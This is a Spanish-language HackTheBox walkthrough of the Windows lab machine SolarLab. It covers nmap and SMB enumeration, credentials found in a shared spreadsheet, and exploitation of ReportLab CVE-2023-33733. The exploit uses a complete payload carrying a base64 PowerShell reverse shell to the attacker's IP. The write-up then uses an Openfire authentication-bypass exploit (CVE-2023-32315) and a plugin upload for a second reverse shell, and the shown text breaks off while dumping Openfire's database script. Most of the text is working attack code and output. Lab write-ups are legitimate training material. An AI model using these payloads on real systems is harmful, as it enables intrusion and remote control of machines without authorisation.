SolarLab es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina SolarLab 10.10.11.16 a /etc/hosts como solarlab.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.16 Nmap scan report for 10.10.11.16 Host is up, received echo-reply ttl 127 (0.043s latency). Scanned at 2024-05-16 10:01:51 CEST for 27s Not shown: 65530 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 6791/tcp open hnm syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu May 16 10:02:18 2024 -- 1 IP address (1 host up) scanned in 26.64 seconds |
Detectados los puertos abiertos, analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ nmap -sCV -p 80,135,139,445,6791 -oA enumeration/nmap2 10.10.11.16 Nmap scan report for 10.10.11.16 Host is up (0.046s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.24.0 |_http-title: Did not follow redirect to http://solarlab.htb/ |_http-server-header: nginx/1.24.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 6791/tcp open http nginx 1.24.0 |_http-server-header: nginx/1.24.0 |_http-title: Did not follow redirect to http://report.solarlab.htb:6791/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-05-16T08:03:08 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 16 10:03:45 2024 -- 1 IP address (1 host up) scanned in 51.96 seconds |
encontramos otro dominio en el puerto 6791, así que añadimos el dominio report.solarlab.htb al fichero hosts.
Enumeración
Accedemos al portal web de solarlab.htb en primer lugar
Parece que no hay nada interesante por aquí así que revisamos el portal de report y vemos un formulario de login para el cual no tenemos credenciales
Así que seguimos enumerando y encontramos varios shares en el smb
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ smbclient -L \\\\solarlab.htb\\ Password for [WORKGROUP\asdf]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Documents Disk IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connection to solarlab.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available |
en uno de ellos encontramos un fichero xlsx que descargamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ smbclient \\\\solarlab.htb\\Documents\\ Password for [WORKGROUP\asdf]: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Fri Apr 26 16:47:14 2024 .. DR 0 Fri Apr 26 16:47:14 2024 concepts D 0 Fri Apr 26 16:41:57 2024 desktop.ini AHS 278 Fri Nov 17 11:54:43 2023 details-file.xlsx A 12793 Fri Nov 17 13:27:21 2023 My Music DHSrn 0 Thu Nov 16 20:36:51 2023 My Pictures DHSrn 0 Thu Nov 16 20:36:51 2023 My Videos DHSrn 0 Thu Nov 16 20:36:51 2023 old_leave_request_form.docx A 37194 Fri Nov 17 11:35:57 2023 7779839 blocks of size 4096. 1886082 blocks available smb: \> get details-file.xlsx getting file \details-file.xlsx of size 12793 as details-file.xlsx (68.6 KiloBytes/sec) (average 68.6 KiloBytes/sec) smb: \> |
y revisamos el fichero
|
1 2 |
$ file details-file.xlsx details-file.xlsx: Microsoft Excel 2007+ |
abrimos el fichero y encontramos entre ellas las credenciales del portal de report
y vemos el siguiente dashboard al acceder
Buscamos un poco en el portal y en google y descubrimos que se trata del software reportlab, el cual tiene además una vulnerabilidad de RCE bajo el cve CVE-2023-33733 y un exploit público.
Navegamos por la página y nos centraremos en la sección de «Travel approach«
Interceptaremos con burp la petición y mandaremos el siguiente payload con una revshell generada previamente para powershell
|
1 2 3 |
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'"> </font></para> |
Enviamos la petición y tendremos una shell con el usuario blake
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.11.16] 59474 PS C:\Users\blake\Documents\app> whoami solarlab\blake PS C:\Users\blake\Documents\app> |
Obteniendo la flag de user
Una vez dentro, vamos al escritorio del usuario y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\Users\blake\Desktop> dir Directory: C:\Users\blake\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 5/15/2024 11:40 PM 34 user.txt PS C:\Users\blake\Desktop> type user.txt c14eef23d6d1a2604bc86da19f8e84b9 |
Escalado al usuario openfire
Una vez dentro enumeramos el servidor y nos fijaremos en los puertos levantados
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
PS C:\Users\blake\Documents\app> netstat -ant Active Connections Proto Local Address Foreign Address State Offload State TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:6791 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING InHost TCP 10.10.11.16:139 0.0.0.0:0 LISTENING InHost TCP 10.10.11.16:6791 10.10.14.2:35288 TIME_WAIT InHost TCP 10.10.11.16:6791 10.10.14.2:40250 TIME_WAIT InHost TCP 10.10.11.16:6791 10.10.14.2:43612 TIME_WAIT InHost TCP 10.10.11.16:6791 10.10.14.2:43624 TIME_WAIT InHost TCP 10.10.11.16:6791 10.10.14.2:54848 ESTABLISHED InHost TCP 10.10.11.16:6791 10.10.14.2:56780 TIME_WAIT InHost TCP 10.10.11.16:6791 10.10.14.2:59018 ESTABLISHED InHost TCP 10.10.11.16:6791 10.10.14.2:59034 ESTABLISHED InHost TCP 10.10.11.16:6791 10.10.14.2:59058 ESTABLISHED InHost TCP 10.10.11.16:6791 10.10.14.2:59074 ESTABLISHED InHost TCP 10.10.11.16:6791 10.10.14.2:59090 ESTABLISHED InHost TCP 10.10.11.16:6791 10.10.14.2:59092 ESTABLISHED InHost TCP 10.10.11.16:59242 10.10.14.5:1234 CLOSE_WAIT InHost TCP 10.10.11.16:59474 10.10.14.11:4444 ESTABLISHED InHost TCP 127.0.0.1:5000 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5000 127.0.0.1:59478 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59479 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59480 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59481 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59484 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59485 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59486 TIME_WAIT InHost TCP 127.0.0.1:5000 127.0.0.1:59496 TIME_WAIT InHost TCP 127.0.0.1:5222 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5223 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5262 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5263 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5269 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5270 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5275 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:5276 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:7070 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:7443 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING InHost TCP 127.0.0.1:49672 127.0.0.1:49673 ESTABLISHED InHost TCP 127.0.0.1:49673 127.0.0.1:49672 ESTABLISHED InHost TCP 127.0.0.1:49674 127.0.0.1:49675 ESTABLISHED InHost TCP 127.0.0.1:49675 127.0.0.1:49674 ESTABLISHED InHost TCP 127.0.0.1:49676 127.0.0.1:49677 ESTABLISHED InHost TCP 127.0.0.1:49677 127.0.0.1:49676 ESTABLISHED InHost TCP 127.0.0.1:49678 127.0.0.1:49679 ESTABLISHED InHost TCP 127.0.0.1:49679 127.0.0.1:49678 ESTABLISHED InHost TCP 127.0.0.1:49680 127.0.0.1:49681 ESTABLISHED InHost TCP 127.0.0.1:49681 127.0.0.1:49680 ESTABLISHED InHost TCP 127.0.0.1:49682 127.0.0.1:49683 ESTABLISHED InHost TCP 127.0.0.1:49683 127.0.0.1:49682 ESTABLISHED InHost TCP 127.0.0.1:49684 127.0.0.1:49685 ESTABLISHED InHost TCP 127.0.0.1:49685 127.0.0.1:49684 ESTABLISHED InHost TCP 127.0.0.1:49686 127.0.0.1:49687 ESTABLISHED InHost TCP 127.0.0.1:49687 127.0.0.1:49686 ESTABLISHED InHost TCP 127.0.0.1:49688 127.0.0.1:49689 ESTABLISHED InHost TCP 127.0.0.1:49689 127.0.0.1:49688 ESTABLISHED InHost TCP 127.0.0.1:49690 127.0.0.1:49691 ESTABLISHED InHost TCP 127.0.0.1:49691 127.0.0.1:49690 ESTABLISHED InHost TCP 127.0.0.1:49692 127.0.0.1:49693 ESTABLISHED InHost TCP 127.0.0.1:49693 127.0.0.1:49692 ESTABLISHED InHost TCP 127.0.0.1:49694 127.0.0.1:49695 ESTABLISHED InHost TCP 127.0.0.1:49695 127.0.0.1:49694 ESTABLISHED InHost TCP 127.0.0.1:49696 127.0.0.1:49697 ESTABLISHED InHost TCP 127.0.0.1:49697 127.0.0.1:49696 ESTABLISHED InHost TCP 127.0.0.1:49698 127.0.0.1:49699 ESTABLISHED InHost TCP 127.0.0.1:49699 127.0.0.1:49698 ESTABLISHED InHost TCP 127.0.0.1:49700 127.0.0.1:49701 ESTABLISHED InHost TCP 127.0.0.1:49701 127.0.0.1:49700 ESTABLISHED InHost TCP 127.0.0.1:49702 127.0.0.1:49703 ESTABLISHED InHost TCP 127.0.0.1:49703 127.0.0.1:49702 ESTABLISHED InHost TCP 127.0.0.1:49704 127.0.0.1:49705 ESTABLISHED InHost TCP 127.0.0.1:49705 127.0.0.1:49704 ESTABLISHED InHost TCP 127.0.0.1:49706 127.0.0.1:49707 ESTABLISHED InHost TCP 127.0.0.1:49707 127.0.0.1:49706 ESTABLISHED InHost TCP 127.0.0.1:49708 127.0.0.1:49709 ESTABLISHED InHost TCP 127.0.0.1:49709 127.0.0.1:49708 ESTABLISHED InHost TCP 127.0.0.1:49710 127.0.0.1:49711 ESTABLISHED InHost TCP 127.0.0.1:49711 127.0.0.1:49710 ESTABLISHED InHost TCP 127.0.0.1:49712 127.0.0.1:49713 ESTABLISHED InHost TCP 127.0.0.1:49713 127.0.0.1:49712 ESTABLISHED InHost TCP 127.0.0.1:49714 127.0.0.1:49715 ESTABLISHED InHost TCP 127.0.0.1:49715 127.0.0.1:49714 ESTABLISHED InHost TCP 127.0.0.1:49716 127.0.0.1:49717 ESTABLISHED InHost TCP 127.0.0.1:49717 127.0.0.1:49716 ESTABLISHED InHost TCP 127.0.0.1:49718 127.0.0.1:49719 ESTABLISHED InHost TCP 127.0.0.1:49719 127.0.0.1:49718 ESTABLISHED InHost TCP 127.0.0.1:59475 127.0.0.1:59476 ESTABLISHED InHost TCP 127.0.0.1:59476 127.0.0.1:59475 ESTABLISHED InHost TCP 127.0.0.1:59482 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59483 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59484 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59487 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59488 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59489 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59490 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59491 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59492 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59493 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59494 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59495 127.0.0.1:5000 TIME_WAIT InHost TCP 127.0.0.1:59496 127.0.0.1:5000 TIME_WAIT InHost TCP [::]:135 [::]:0 LISTENING InHost TCP [::]:445 [::]:0 LISTENING InHost TCP [::]:5985 [::]:0 LISTENING InHost TCP [::]:47001 [::]:0 LISTENING InHost TCP [::]:49664 [::]:0 LISTENING InHost TCP [::]:49665 [::]:0 LISTENING InHost TCP [::]:49666 [::]:0 LISTENING InHost TCP [::]:49667 [::]:0 LISTENING InHost TCP [::]:49668 [::]:0 LISTENING InHost UDP 0.0.0.0:123 *:* UDP 0.0.0.0:500 *:* UDP 0.0.0.0:4500 *:* UDP 0.0.0.0:5050 *:* UDP 0.0.0.0:5353 *:* UDP 0.0.0.0:5355 *:* UDP 10.10.11.16:137 *:* UDP 10.10.11.16:138 *:* UDP 10.10.11.16:1900 *:* UDP 10.10.11.16:54896 *:* UDP 127.0.0.1:1900 *:* UDP 127.0.0.1:54892 *:* UDP 127.0.0.1:54897 *:* UDP [::]:123 *:* UDP [::]:500 *:* UDP [::]:4500 *:* UDP [::1]:1900 *:* UDP [::1]:54895 *:* |
Y nos fijamos en el puerto 9090, así que nos lo mandamos con chisel y accedemos, viendo la página de login de openfire
En el mismo formulario vemos la versión así que nos aprovechamos del exploit del cve CVE-2023-32315 para crear un usuario con privilegios.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ python3 CVE-2023-32315.py -t http://127.0.0.1:9090 ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗███████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗╚════██╗███║██╔════╝ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗██╔═══╝ ╚═══██╗ ██║╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝███████╗██████╔╝ ██║███████║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215) Use at your own risk! [..] Checking target: http://127.0.0.1:9090 Successfully retrieved JSESSIONID: node0jfn3e047r5j616kcnzr63yksb1.node0 + csrf: bVQdmz1oG3u35SK User added successfully: url: http://127.0.0.1:9090 username: dfty38 password: evs6rh |
Con el usuario creado accedemos al portal
Tenemos permisos de admin, así que nos vamos a la sección de plugins y subiremos el plugin existente en el mismo repositorio de github que el exploit anterior.
Una vez subido accedemos
Abriremos la consola desde el plugin y ejecutaremos una revshell en powershell para conseguir una shell con el usuario openfire
|
1 2 3 4 5 6 |
$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.11.16] 59651 PS C:\Program Files\Openfire\bin> whoami solarlab\openfire |
Escalado al usuario administrator
Hemos dado otro pasito más, el siguiente será el usuario admin así que vamos a centrarnos en la configuración de openfire a ver que podemos encontrar
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
PS C:\Program Files\Openfire\bin> cd .. PS C:\Program Files\Openfire> dir Directory: C:\Program Files\Openfire Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/17/2023 2:11 PM .install4j d----- 11/17/2023 2:11 PM bin d----- 5/15/2024 11:40 PM conf d----- 11/17/2023 2:11 PM documentation d----- 5/15/2024 11:40 PM embedded-db d----- 11/17/2023 2:11 PM lib d----- 11/17/2023 2:24 PM logs d----- 5/16/2024 11:51 AM plugins d----- 11/17/2023 2:11 PM resources -a---- 11/9/2022 5:59 PM 375002 changelog.html -a---- 2/16/2022 5:55 PM 10874 LICENSE.html -a---- 2/16/2022 5:55 PM 5403 README.html -a---- 11/9/2022 6:00 PM 798720 uninstall.exe PS C:\Program Files\Openfire> cd embedded-db PS C:\Program Files\Openfire\embedded-db> dir Directory: C:\Program Files\Openfire\embedded-db Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/15/2024 11:40 PM openfire.tmp -a---- 5/15/2024 11:40 PM 0 openfire.lck -a---- 5/16/2024 11:52 AM 3239 openfire.log -a---- 5/15/2024 11:40 PM 106 openfire.properties -a---- 5/7/2024 9:15 PM 16161 openfire.script |
y revisaremos el fichero de log de la aplicación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
PS C:\Program Files\Openfire\embedded-db> type openfire.script SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742 SET DATABASE GC 0 SET DATABASE DEFAULT RESULT MEMORY ROWS 0 SET DATABASE EVENT LOG LEVEL 0 SET DATABASE TRANSACTION CONTROL LOCKS SET DATABASE DEFAULT ISOLATION LEVEL READ COMMITTED SET DATABASE TRANSACTION ROLLBACK ON CONFLICT TRUE SET DATABASE TEXT TABLE DEFAULTS '' SET DATABASE SQL NAMES FALSE SET DATABASE SQL REFERENCES FALSE SET DATABASE SQL SIZE TRUE SET DATABASE SQL TYPES FALSE SET DATABASE SQL TDC DELETE TRUE SET DATABASE SQL TDC UPDATE TRUE SET DATABASE SQL CONCAT NULLS TRUE SET DATABASE SQL UNIQUE NULLS TRUE SET DATABASE SQL CONVERT TRUNCATE TRUE SET DATABASE SQL AVG SCALE 0 SET DATABASE SQL DOUBLE NAN TRUE SET FILES WRITE DELAY 1 SET FILES BACKUP INCREMENT TRUE SET FILES CACHE SIZE 10000 SET FILES CACHE ROWS 50000 SET FILES SCALE 32 SET FILES LOB SCALE 32 SET FILES DEFRAG 0 SET FILES NIO TRUE SET FILES NIO SIZE 256 SET FILES LOG TRUE SET FILES LOG SIZE 20 CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e' ALTER USER SA SET LOCAL TRUE CREATE SCHEMA PUBLIC AUTHORIZATION DBA SET SCHEMA PUBLIC CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME)) CREATE INDEX OFUSER_CDATE_IDX ON PUBLIC.OFUSER(CREATIONDATE) CREATE MEMORY TABLE PUBLIC.OFUSERPROP(USERNAME VARCHAR(64) NOT NULL,NAME VARCHAR(100) NOT NULL,PROPVALUE VARCHAR(4000) NOT NULL,CONSTRAINT OFUSERPROP_PK PRIMARY KEY(USERNAME,NAME)) CREATE MEMORY TABLE PUBLIC.OFUSERFLAG(USERNAME VARCHAR(64) NOT NULL,NAME VARCHAR(100) NOT NULL,STARTTIME VARCHAR(15),ENDTIME VARCHAR(15),CONSTRAINT OFUSERFLAG_PK PRIMARY KEY(USERNAME,NAME)) CREATE INDEX OFUSERFLAG_STIME_IDX ON PUBLIC.OFUSERFLAG(STARTTIME) CREATE INDEX OFUSERFLAG_ETIME_IDX ON PUBLIC.OFUSERFLAG(ENDTIME) CREATE MEMORY TABLE PUBLIC.OFOFFLINE(USERNAME VARCHAR(64) NOT NULL,MESSAGEID BIGINT NOT NULL,CREATIONDATE VARCHAR(15) NOT NULL,MESSAGESIZE INTEGER NOT NULL,STANZA VARCHAR(16777216) NOT NULL,CONSTRAINT OFOFFLINE_PK PRIMARY KEY(USERNAME,MESSAGEID)) CREATE MEMORY TABLE PUBLIC.OFPRESENCE(USERNAME VARCHAR(64) NOT NULL,OFFLINEPRESENCE VARCHAR(16777216),OFFLINEDATE VARCHAR(15) NOT NULL,CONSTRAINT OFPRESENCE_PK PRIMARY KEY(USERNAME)) CREATE MEMORY TABLE PUBLIC.OFROSTER(ROSTERID BIGINT NOT NULL,USERNAME VARCHAR(64) NOT NULL,JID VARCHAR(1024) NOT NULL,SUB INTEGER NOT NULL,ASK INTEGER NOT NULL,RECV INTEGER NOT NULL,NICK VARCHAR(255),STANZA VARCHAR(16777216),CONSTRAINT OFROSTER_PK PRIMARY KEY(ROSTERID)) CREATE INDEX OFROSTER_USERNAME_IDX ON PUBLIC.OFROSTER(USERNAME) CREATE INDEX OFROSTER_JID_IDX ON PUBLIC.OFROSTER(JID) CREATE MEMORY TABLE PUBLIC.OFROSTERGROUPS(ROSTERID BIGINT NOT NULL,RANK INTEGER NOT NULL,GROUPNAME VARCHAR(255) NOT NULL,CONSTRAINT OFROSTERGROUPS_PK PRIMARY KEY(ROSTERID,RANK)) CREATE INDEX OFROSTERGROUP_ROSTERID_IDX ON PUBLIC.OFROSTERGROUPS(ROSTERID) CREATE MEMORY TABLE PUBLIC.OFVCARD(USERNAME VARCHAR(64) NOT NULL,VCARD VARCHAR(16777216) NOT NULL,CONSTRAINT OFVCARD_PK PRIMARY KEY(USERNAME)) CREATE MEMORY TABLE PUBLIC.OFGROUP(GROUPNAME VARCHAR(50) NOT NULL,DESCRIPTION VARCHAR(255),CONSTRAINT OFGROUP_PK PRIMARY KEY(GROUPNAME)) CREATE MEMORY TABLE PUBLIC.OFGROUPPROP(GROUPNAME VARCHAR(50) NOT NULL,NAME VARCHAR(100) NOT NULL,PROPVALUE VARCHAR(4000) NOT NULL,CONSTRAINT OFGROUPPROP_PK PRIMARY KEY(GROUPNAME,NAME)) CREATE MEMORY TABLE PUBLIC.OFGROUPUSER(GROUPNAME VARCHAR(50) NOT NULL,USERNAME VARCHAR(100) NOT NULL,ADMINISTRATOR INTEGER NOT NULL,CONSTRAINT OFGROUPUSER_PK PRIMARY KEY(GROUPNAME,USERNAME,ADMINISTRATOR)) CREATE MEMORY TABLE PUBLIC.OFID(IDTYPE INTEGER NOT NULL,ID BIGINT NOT NULL,CONSTRAINT OFID_PK PRIMARY KEY(IDTYPE)) CREATE MEMORY TABLE PUBLIC.OFPROPERTY(NAME VARCHAR(100) NOT NULL,PROPVALUE VARCHAR(4000) NOT NULL,ENCRYPTED INTEGER,IV CHARACTER(24),CONSTRAINT OFPROPERTY_PK PRIMARY KEY(NAME)) CREATE MEMORY TABLE PUBLIC.OFVERSION(NAME VARCHAR(50) NOT NULL,VERSION INTEGER NOT NULL,CONSTRAINT OFVERSION_PK PRIMARY KEY(NAME)) CREATE MEMORY TABLE PUBLIC.OFEXTCOMPONENTCONF(SUBDOMAIN VARCHAR(255) NOT NULL,WILDCARD INTEGER NOT NULL,SECRET VARCHAR(255),PERMISSION VARCHAR(10) NOT NULL,CONSTRAINT OFEXTCOMPONENTCONF_PK PRIMARY KEY(SUBDOMAIN)) CREATE MEMORY TABLE PUBLIC.OFREMOTESERVERCONF(XMPPDOMAIN VARCHAR(255) NOT NULL,REMOTEPORT INTEGER,PERMISSION VARCHAR(10) NOT NULL,CONSTRAINT OFREMOTESERVERCONF_PK PRIMARY KEY(XMPPDOMAIN)) CREATE MEMORY TABLE PUBLIC.OFPRIVACYLIST(USERNAME VARCHAR(64) NOT NULL,NAME VARCHAR(100) NOT NULL,ISDEFAULT INTEGER NOT NULL,LIST VARCHAR(16777216) NOT NULL,CONSTRAINT OFPRIVACYLIST_PK PRIMARY KEY(USERNAME,NAME)) CREATE INDEX OFPRIVACYLIST_DEFAULT_IDX ON PUBLIC.OFPRIVACYLIST(USERNAME,ISDEFAULT) CREATE MEMORY TABLE PUBLIC.OFSASLAUTHORIZED(USERNAME VARCHAR(64) NOT NULL,PRINCIPAL VARCHAR(4000) NOT NULL,CONSTRAINT OFSASLAUTHORIZED_PK PRIMARY KEY(USERNAME,PRINCIPAL)) CREATE MEMORY TABLE PUBLIC.OFSECURITYAUDITLOG(MSGID BIGINT NOT NULL,USERNAME VARCHAR(64) NOT NULL,ENTRYSTAMP BIGINT NOT NULL,SUMMARY VARCHAR(255) NOT NULL,NODE VARCHAR(255) NOT NULL,DETAILS VARCHAR(16777216),CONSTRAINT OFSECURITYAUDITLOG_PK PRIMARY KEY(MSGID)) CREATE INDEX OFSECURITYAUDITLOG_TSTAMP_IDX ON PUBLIC.OFSECURITYAUDITLOG(ENTRYSTAMP) CREATE INDEX OFSECURITYAUDITLOG_UNAME_IDX ON 